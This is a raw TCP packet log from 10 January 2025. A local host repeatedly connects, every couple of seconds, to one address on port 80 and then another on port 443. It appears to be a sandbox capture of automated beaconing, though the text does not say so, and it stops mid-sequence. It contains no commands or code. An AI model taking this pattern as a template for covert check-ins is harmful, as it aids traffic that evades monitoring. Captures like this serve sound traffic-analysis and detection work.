Jan 10, 2025 19:57:07.309649944 CET	50017	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:07.313735962 CET	50019	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:07.314606905 CET	80	50017	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:07.314656019 CET	50017	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:07.318617105 CET	80	50019	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:07.318706036 CET	50019	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:07.318825006 CET	50019	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:07.323630095 CET	80	50019	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:07.949659109 CET	80	50019	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:07.950941086 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:07.950988054 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:07.951056004 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:07.951351881 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:07.951364994 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:08.000891924 CET	50019	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:08.565356016 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:08.566914082 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:08.566943884 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:08.567001104 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:08.567008972 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:09.116714954 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:09.116919041 CET	443	50020	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:09.116978884 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:09.120959997 CET	50020	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:09.150034904 CET	50019	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:09.155005932 CET	80	50019	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:09.155067921 CET	50019	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:09.157448053 CET	50021	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:09.162334919 CET	80	50021	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:09.162400961 CET	50021	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:09.162843943 CET	50021	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:09.167650938 CET	80	50021	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:09.795720100 CET	80	50021	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:09.796785116 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:09.796824932 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:09.796931982 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:09.797178030 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:09.797194004 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:09.844647884 CET	50021	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:10.431231976 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:10.432948112 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:10.432960033 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:10.433015108 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:10.433022976 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:10.849832058 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:10.850043058 CET	443	50022	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:10.850121975 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:10.850543976 CET	50022	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:10.853147984 CET	50021	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:10.854415894 CET	50023	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:10.858200073 CET	80	50021	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:10.858391047 CET	50021	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:10.859349012 CET	80	50023	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:10.859425068 CET	50023	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:10.859555006 CET	50023	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:10.864363909 CET	80	50023	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:11.676215887 CET	80	50023	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:11.699814081 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:11.699866056 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:11.699930906 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:11.700500965 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:11.700512886 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:11.719628096 CET	50023	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:12.333865881 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:12.362070084 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:12.362111092 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:12.362178087 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:12.362194061 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:12.700944901 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:12.701031923 CET	443	50024	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:12.701212883 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:12.701785088 CET	50024	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:12.704936028 CET	50023	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:12.706110954 CET	50025	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:12.709996939 CET	80	50023	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:12.710119009 CET	50023	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:12.710928917 CET	80	50025	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:12.711003065 CET	50025	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:12.711165905 CET	50025	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:12.715897083 CET	80	50025	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:13.354516983 CET	80	50025	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:13.357000113 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:13.357034922 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:13.357110023 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:13.357428074 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:13.357436895 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:13.407145023 CET	50025	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:14.062376976 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:14.065139055 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:14.065151930 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:14.068969011 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:14.068977118 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:14.362984896 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:14.363066912 CET	443	50026	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:14.363213062 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:14.363596916 CET	50026	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:14.366573095 CET	50025	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:14.367728949 CET	50027	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:14.371534109 CET	80	50025	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:14.371627092 CET	50025	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:14.372508049 CET	80	50027	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:14.372610092 CET	50027	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:14.372728109 CET	50027	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:14.377538919 CET	80	50027	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:15.077299118 CET	80	50027	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:15.080089092 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:15.080151081 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:15.080209017 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:15.080811977 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:15.080825090 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:15.125866890 CET	50027	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:15.707226992 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:15.709101915 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:15.709136963 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:15.709181070 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:15.709191084 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:16.226684093 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:16.226893902 CET	443	50028	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:16.226960897 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:16.227384090 CET	50028	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:16.230230093 CET	50027	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:16.231369019 CET	50029	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:16.236128092 CET	80	50027	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:16.236196995 CET	50027	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:16.238095999 CET	80	50029	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:16.238179922 CET	50029	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:16.238293886 CET	50029	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:16.245358944 CET	80	50029	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:16.874577999 CET	80	50029	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:16.876245022 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:16.876296043 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:16.876374006 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:16.876698017 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:16.876714945 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:16.922821045 CET	50029	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:17.519675970 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:17.521394014 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:17.521480083 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:17.521560907 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:17.521586895 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:17.839730024 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:17.839809895 CET	443	50030	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:17.839884996 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:17.842657089 CET	50030	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:17.952971935 CET	50029	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:17.955468893 CET	50031	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:17.958638906 CET	80	50029	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:17.958683968 CET	50029	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:17.960835934 CET	80	50031	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:17.960890055 CET	50031	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:17.961086035 CET	50031	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:17.965846062 CET	80	50031	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:18.595966101 CET	80	50031	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:18.597713947 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:18.597764015 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:18.597917080 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:18.598284960 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:18.598304033 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:18.641593933 CET	50031	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:19.210455894 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:19.212130070 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:19.212157011 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:19.212228060 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:19.212234974 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:19.456212044 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:19.456304073 CET	443	50032	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:19.456394911 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:19.456804037 CET	50032	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:19.459656954 CET	50031	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:19.460886002 CET	50033	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:19.464637995 CET	80	50031	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:19.464719057 CET	50031	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:19.465693951 CET	80	50033	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:19.465784073 CET	50033	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:19.465866089 CET	50033	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:19.471812963 CET	80	50033	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:20.159671068 CET	80	50033	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:20.160933018 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:20.161000967 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:20.161072969 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:20.161350965 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:20.161370039 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:20.204022884 CET	50033	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:20.933485985 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:20.935494900 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:20.935524940 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:20.935576916 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:20.935585022 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:21.448014975 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:21.448115110 CET	443	50034	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:21.448291063 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:21.448904037 CET	50034	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:21.452756882 CET	50033	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:21.453430891 CET	50035	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:21.457707882 CET	80	50033	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:21.457823992 CET	50033	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:21.458226919 CET	80	50035	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:21.458302021 CET	50035	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:21.458517075 CET	50035	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:21.463335991 CET	80	50035	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:22.451500893 CET	80	50035	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:22.453147888 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:22.453200102 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:22.453279972 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:22.453634977 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:22.453649998 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:22.500890970 CET	50035	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:23.074166059 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:23.096030951 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:23.096115112 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:23.096791029 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:23.096806049 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:23.378051996 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:23.378133059 CET	443	50036	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:23.378248930 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:23.380198956 CET	50036	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:23.398121119 CET	50035	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:23.399647951 CET	50037	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:23.403172016 CET	80	50035	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:23.403218031 CET	50035	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:23.404494047 CET	80	50037	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:23.404553890 CET	50037	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:23.404653072 CET	50037	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:23.409390926 CET	80	50037	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:24.156219959 CET	80	50037	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:24.161684036 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:24.161724091 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:24.161798000 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:24.162105083 CET	49979	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:24.162472010 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:24.162483931 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:24.204037905 CET	50037	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:24.774715900 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:24.780220032 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:24.780249119 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:24.780325890 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:24.780338049 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:25.113234997 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:25.113320112 CET	443	50038	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:25.113415003 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:25.114029884 CET	50038	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:25.117464066 CET	50037	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:25.122121096 CET	50039	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:25.122426033 CET	80	50037	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:25.126297951 CET	50037	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:25.127515078 CET	80	50039	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:25.130359888 CET	50039	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:25.130359888 CET	50039	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:25.135179996 CET	80	50039	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:26.156943083 CET	80	50039	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:26.161073923 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:26.161099911 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:26.161175966 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:26.161520958 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:26.161530972 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:26.204051971 CET	50039	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:26.768114090 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:26.774516106 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:26.774532080 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:26.774669886 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:26.774679899 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:26.997565031 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:26.997662067 CET	443	50040	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:26.997770071 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:26.998306990 CET	50040	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:27.002063036 CET	50039	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:27.003356934 CET	50041	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:27.007167101 CET	80	50039	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:27.007349014 CET	50039	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:27.008296967 CET	80	50041	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:27.008383989 CET	50041	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:27.008522987 CET	50041	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:27.013376951 CET	80	50041	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:28.607250929 CET	80	50041	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:28.609015942 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:28.609066963 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:28.609224081 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:28.609540939 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:28.609555006 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:28.657164097 CET	50041	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:29.261157036 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:29.270172119 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:29.270185947 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:29.270320892 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:29.270332098 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:29.619237900 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:29.619369030 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:29.619465113 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:29.621715069 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:29.640866041 CET	50041	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:29.644244909 CET	50043	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:29.645893097 CET	80	50041	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:29.645948887 CET	50041	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:29.649080992 CET	80	50043	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:29.649270058 CET	50043	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:29.664640903 CET	50043	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:29.669498920 CET	80	50043	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:30.791426897 CET	80	50043	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:30.795686960 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:30.795732021 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:30.795844078 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:30.796164989 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:30.796181917 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:30.844685078 CET	50043	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:31.442893028 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:31.445574999 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:31.445600033 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:31.445662022 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:31.445668936 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:31.750068903 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:31.750163078 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:31.750276089 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:31.751714945 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:31.755486965 CET	50043	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:31.756756067 CET	50045	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:31.760426044 CET	80	50043	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:31.760500908 CET	50043	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:31.761550903 CET	80	50045	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:31.761629105 CET	50045	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:31.761778116 CET	50045	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:31.766531944 CET	80	50045	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:32.441133022 CET	80	50045	193.122.6.168	192.168.2.9
Jan 10, 2025 19:57:32.485336065 CET	50045	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:32.670736074 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:32.670784950 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:32.670897007 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:32.671829939 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:32.671842098 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:33.304533005 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:33.309237003 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:33.309262991 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:33.309465885 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:33.309473991 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:33.598537922 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:33.598618984 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 19:57:33.598660946 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:33.599212885 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:57:33.603173018 CET	50045	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:33.604150057 CET	50047	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:57:33.609225988 CET	80	50045	193.122.6.168	192.168.2.9
